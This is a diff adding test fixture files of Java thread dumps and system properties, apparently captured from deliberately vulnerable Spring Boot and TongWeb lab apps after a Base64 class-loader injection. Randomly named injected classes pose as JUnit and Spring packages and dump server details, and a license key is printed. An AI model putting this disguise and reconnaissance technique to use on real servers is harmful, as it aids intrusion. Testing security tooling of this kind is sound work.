java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Cleaner-0" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1dc92888
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218)
|
||||
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186)
|
||||
|
||||
"DestroyJavaVM" #37 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"reactor-http-nio-4" #40 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142)
|
||||
at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62)
|
||||
at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668)
|
||||
at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434)
|
||||
at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225)
|
||||
at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196)
|
||||
at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204)
|
||||
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
|
||||
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@2a63db04
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait0(Native Method)
|
||||
at [email protected]/java.lang.Object.wait(Object.java:366)
|
||||
at [email protected]/java.lang.Object.wait(Object.java:339)
|
||||
at [email protected]/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158)
|
||||
at [email protected]/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89)
|
||||
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173)
|
||||
|
||||
"server" #36 [WAITING] on java.util.concurrent.CountDownLatch$Sync@655b9ca
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:221)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(AbstractQueuedSynchronizer.java:788)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1133)
|
||||
at [email protected]/java.util.concurrent.CountDownLatch.await(CountDownLatch.java:230)
|
||||
at reactor.core.publisher.BlockingSingleSubscriber.blockingGet(BlockingSingleSubscriber.java:91)
|
||||
at reactor.core.publisher.Mono.block(Mono.java:1773)
|
||||
at org.springframework.boot.reactor.netty.NettyWebServer$1.run(NettyWebServer.java:231)
|
||||
|
||||
"reactor-http-nio-5" #41 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
|
||||
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:2522)
|
||||
at org.junit.ckpSo.ErrorEexqqHandler.toString(BasicInfoPrinter.java:26)
|
||||
at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.lambda$handleFormSubmission$0(Base64ClassLoaderController.java:32)
|
||||
at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda/0x00000060014a1f58.apply(Unknown Source)
|
||||
at reactor.core.publisher.MonoFlatMap$FlatMapMain.onNext(MonoFlatMap.java:132)
|
||||
at reactor.core.publisher.Operators$MonoSubscriber.complete(Operators.java:1861)
|
||||
at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.signalCached(MonoCacheTime.java:353)
|
||||
at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.onNext(MonoCacheTime.java:372)
|
||||
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:75)
|
||||
at reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber.onNext(FluxMapFuseable.java:130)
|
||||
at reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber.onNext(FluxContextWrite.java:109)
|
||||
at reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber.onNext(FluxMapFuseable.java:300)
|
||||
at reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber.onNext(FluxFilterFuseable.java:338)
|
||||
at reactor.core.publisher.Operators$BaseFluxToMonoOperator.completePossiblyEmpty(Operators.java:2093)
|
||||
at reactor.core.publisher.MonoCollect$CollectSubscriber.onComplete(MonoCollect.java:144)
|
||||
at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144)
|
||||
at reactor.core.publisher.FluxPeek$PeekSubscriber.onComplete(FluxPeek.java:263)
|
||||
at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144)
|
||||
at reactor.netty.channel.FluxReceive.onInboundComplete(FluxReceive.java:419)
|
||||
at reactor.netty.channel.ChannelOperations.onInboundComplete(ChannelOperations.java:467)
|
||||
at reactor.netty.http.server.HttpServerOperations.handleLastHttpContent(HttpServerOperations.java:931)
|
||||
at reactor.netty.http.server.HttpServerOperations.onInboundNext(HttpServerOperations.java:840)
|
||||
at reactor.netty.channel.ChannelOperationsHandler.channelRead(ChannelOperationsHandler.java:115)
|
||||
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:357)
|
||||
at reactor.netty.http.server.HttpTrafficHandler.channelRead(HttpTrafficHandler.java:340)
|
||||
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355)
|
||||
at io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext.fireChannelRead(CombinedChannelDuplexHandler.java:434)
|
||||
at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:361)
|
||||
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:325)
|
||||
at io.netty.channel.CombinedChannelDuplexHandler.channelRead(CombinedChannelDuplexHandler.java:249)
|
||||
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355)
|
||||
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1429)
|
||||
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:918)
|
||||
at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:176)
|
||||
at io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe.handle(AbstractNioChannel.java:445)
|
||||
at io.netty.channel.nio.NioIoHandler$DefaultNioRegistration.handle(NioIoHandler.java:388)
|
||||
at io.netty.channel.nio.NioIoHandler.processSelectedKey(NioIoHandler.java:596)
|
||||
at io.netty.channel.nio.NioIoHandler.processSelectedKeysOptimized(NioIoHandler.java:571)
|
||||
at io.netty.channel.nio.NioIoHandler.processSelectedKeys(NioIoHandler.java:512)
|
||||
at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:484)
|
||||
at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225)
|
||||
at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196)
|
||||
at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204)
|
||||
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
|
||||
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"Signal Dispatcher" #11 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Reference Handler" #9 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
|
||||
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:246)
|
||||
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208)
|
||||
|
||||
"reactor-http-nio-3" #39 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142)
|
||||
at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62)
|
||||
at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668)
|
||||
at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434)
|
||||
at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225)
|
||||
at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196)
|
||||
at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204)
|
||||
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
|
||||
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController
|
||||
com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda/0x00000060014a1f58
|
||||
io.netty.channel.AbstractChannelHandlerContext
|
||||
io.netty.channel.CombinedChannelDuplexHandler
|
||||
io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext
|
||||
io.netty.channel.DefaultChannelPipeline
|
||||
io.netty.channel.DefaultChannelPipeline$HeadContext
|
||||
io.netty.channel.SingleThreadIoEventLoop
|
||||
io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe
|
||||
io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe
|
||||
io.netty.channel.nio.NioIoHandler
|
||||
io.netty.channel.nio.NioIoHandler$DefaultNioRegistration
|
||||
io.netty.channel.nio.SelectedSelectionKeySetSelector
|
||||
io.netty.handler.codec.ByteToMessageDecoder
|
||||
io.netty.util.concurrent.FastThreadLocalRunnable
|
||||
io.netty.util.concurrent.SingleThreadEventExecutor$5
|
||||
io.netty.util.internal.ThreadExecutorMap$2
|
||||
org.junit.ckpSo.ErrorEexqqHandler
|
||||
org.springframework.boot.reactor.netty.NettyWebServer$1
|
||||
reactor.core.publisher.BlockingSingleSubscriber
|
||||
reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber
|
||||
reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber
|
||||
reactor.core.publisher.FluxMap$MapSubscriber
|
||||
reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber
|
||||
reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber
|
||||
reactor.core.publisher.FluxPeek$PeekSubscriber
|
||||
reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber
|
||||
reactor.core.publisher.Mono
|
||||
reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber
|
||||
reactor.core.publisher.MonoCollect$CollectSubscriber
|
||||
reactor.core.publisher.MonoFlatMap$FlatMapMain
|
||||
reactor.core.publisher.Operators$BaseFluxToMonoOperator
|
||||
reactor.core.publisher.Operators$MonoSubscriber
|
||||
reactor.netty.channel.ChannelOperations
|
||||
reactor.netty.channel.ChannelOperationsHandler
|
||||
reactor.netty.channel.FluxReceive
|
||||
reactor.netty.http.server.HttpServerOperations
|
||||
reactor.netty.http.server.HttpTrafficHandler
|
||||
+429
@@ -0,0 +1,429 @@
|
||||
# Generated At 2026-08-08 09:53:59
|
||||
SystemProps:
|
||||
java.specification.version: 17
|
||||
sun.jnu.encoding: UTF-8
|
||||
java.class.path: /app/app.jar
|
||||
java.vm.vendor: Eclipse Adoptium
|
||||
sun.arch.data.model: 64
|
||||
java.vendor.url: https://adoptium.net/
|
||||
server.tongweb.license.productKey: esRTevlz6wm/tpN/Cbl4CfU7xtHDelNBw/kd4O9uSO0=
|
||||
user.timezone: Etc/UTC
|
||||
server.tongweb.license.type: file
|
||||
tongweb.home: /tmp/tongweb.8080.8749798371050316176
|
||||
java.vm.specification.version: 17
|
||||
os.name: Linux
|
||||
TONGWEB_LICENSE_PATH: /tmp/tongweb-license2882431636653867657.dat
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
user.country: US
|
||||
sun.boot.library.path: /opt/java/openjdk/lib
|
||||
sun.java.command: /app/app.jar
|
||||
jdk.debug: release
|
||||
sun.cpu.endian: little
|
||||
user.home: /root
|
||||
user.language: en
|
||||
java.specification.vendor: Oracle Corporation
|
||||
server.tongweb.license.ssl.enabled: false
|
||||
java.version.date: 2025-10-21
|
||||
java.home: /opt/java/openjdk
|
||||
tongweb.base: /tmp/tongweb.8080.8749798371050316176
|
||||
file.separator: /
|
||||
java.vm.compressedOopsMode: Zero based
|
||||
line.separator:
|
||||
|
||||
server.tongweb.license.productVersion: 7.0.E.6_P9
|
||||
java.vm.specification.vendor: Oracle Corporation
|
||||
java.specification.name: Java Platform API Specification
|
||||
FILE_LOG_CHARSET: UTF-8
|
||||
java.awt.headless: true
|
||||
tongweb.useNaming: false
|
||||
java.protocol.handler.pkgs: org.springframework.boot.loader
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
server.tongweb.license.tongWebEdition: Embed
|
||||
server.tongweb.license.isSync: true
|
||||
java.runtime.version: 17.0.17+10
|
||||
user.name: root
|
||||
path.separator: :
|
||||
os.version: 7.0.14-orbstack-00374-gbbca68e8d741
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
file.encoding: UTF-8
|
||||
java.vm.name: OpenJDK 64-Bit Server VM
|
||||
java.vendor.version: Temurin-17.0.17+10
|
||||
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
||||
java.io.tmpdir: /tmp
|
||||
java.version: 17.0.17
|
||||
user.dir: /
|
||||
os.arch: aarch64
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
PID: 1
|
||||
CONSOLE_LOG_CHARSET: UTF-8
|
||||
native.encoding: UTF-8
|
||||
java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib
|
||||
server.tongweb.license.filePath: /tmp/tongweb-license2882431636653867657.dat
|
||||
java.vm.info: mixed mode, sharing
|
||||
java.vendor: Eclipse Adoptium
|
||||
java.vm.version: 17.0.17+10
|
||||
java.specification.maintenance.version: 1
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
java.class.version: 61.0
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"Reference Handler" #2 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
|
||||
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:253)
|
||||
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215)
|
||||
|
||||
"TongWeb-utility-2" #23 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a788698
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-8080-exec-9" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-8080-Acceptor" #36 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
|
||||
at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:498)
|
||||
at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:56)
|
||||
at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:113)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6b458ca3
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||
|
||||
"http-nio-8080-exec-3" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-8080-exec-5" #29 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
|
||||
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:1671)
|
||||
at org.springframework.mcnFX.ErrorHladkHandler.toString(BasicInfoPrinter.java:26)
|
||||
at com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20)
|
||||
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
|
||||
at [email protected]/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at [email protected]/java.lang.reflect.Method.invoke(Method.java:569)
|
||||
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:207)
|
||||
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:152)
|
||||
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118)
|
||||
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:884)
|
||||
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:797)
|
||||
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
|
||||
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1081)
|
||||
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:974)
|
||||
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1011)
|
||||
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914)
|
||||
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:575)
|
||||
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885)
|
||||
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:643)
|
||||
at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:190)
|
||||
at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134)
|
||||
at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
|
||||
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
|
||||
at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:159)
|
||||
at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134)
|
||||
at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
|
||||
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
|
||||
at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:159)
|
||||
at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134)
|
||||
at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
|
||||
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
|
||||
at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:159)
|
||||
at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134)
|
||||
at com.tongweb.container.core.StandardWrapperValve.invoke(StandardWrapperValve.java:151)
|
||||
at com.tongweb.container.core.StandardContextValve.invoke(StandardContextValve.java:74)
|
||||
at com.tongweb.container.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:457)
|
||||
at com.tongweb.container.core.StandardHostValve.invoke(StandardHostValve.java:99)
|
||||
at com.tongweb.container.valves.ErrorReportValve.invoke(ErrorReportValve.java:78)
|
||||
at com.tongweb.container.valves.ErrorReportValve.invoke(ErrorReportValve.java:78)
|
||||
at com.tongweb.container.core.StandardEngineValve.invoke(StandardEngineValve.java:57)
|
||||
at com.tongweb.container.connector.CoyoteAdapter.service(CoyoteAdapter.java:324)
|
||||
at com.tongweb.connector.http11.Http11Processor.service(Http11Processor.java:353)
|
||||
at com.tongweb.connector.AbstractProcessorLight.process(AbstractProcessorLight.java:47)
|
||||
at com.tongweb.connector.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:874)
|
||||
at com.tongweb.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1721)
|
||||
at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:37)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-8080-exec-7" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
